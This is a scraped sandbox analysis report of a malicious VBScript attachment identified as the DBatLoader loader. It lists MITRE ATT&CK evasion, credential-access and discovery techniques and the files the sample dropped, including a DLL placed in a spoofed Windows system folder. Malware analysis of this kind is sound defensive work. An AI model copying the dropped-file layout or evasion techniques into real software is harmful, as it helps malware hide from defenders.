Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INQUIRY LIST 292.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Libraries\FX.cmd

C:\Users\Public\Libraries\NEO.cmd

C:\Users\Public\Libraries\Uhzauuil

C:\Users\Public\Libraries\Uhzauuil.PIF

C:\Users\Public\Libraries\YKA

C:\Users\Public\Libraries\liuuazhU.pif

C:\Users\Public\Uhzauuil.url

C:\Users\Public\UhzauuilF.cmd

C:\Users\user\AppData\Local\Temp\x.exe

C:\Windows \SysWOW64\NETUTILS.dll

Windows Analysis Report
INQUIRY LIST 292.vbs

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre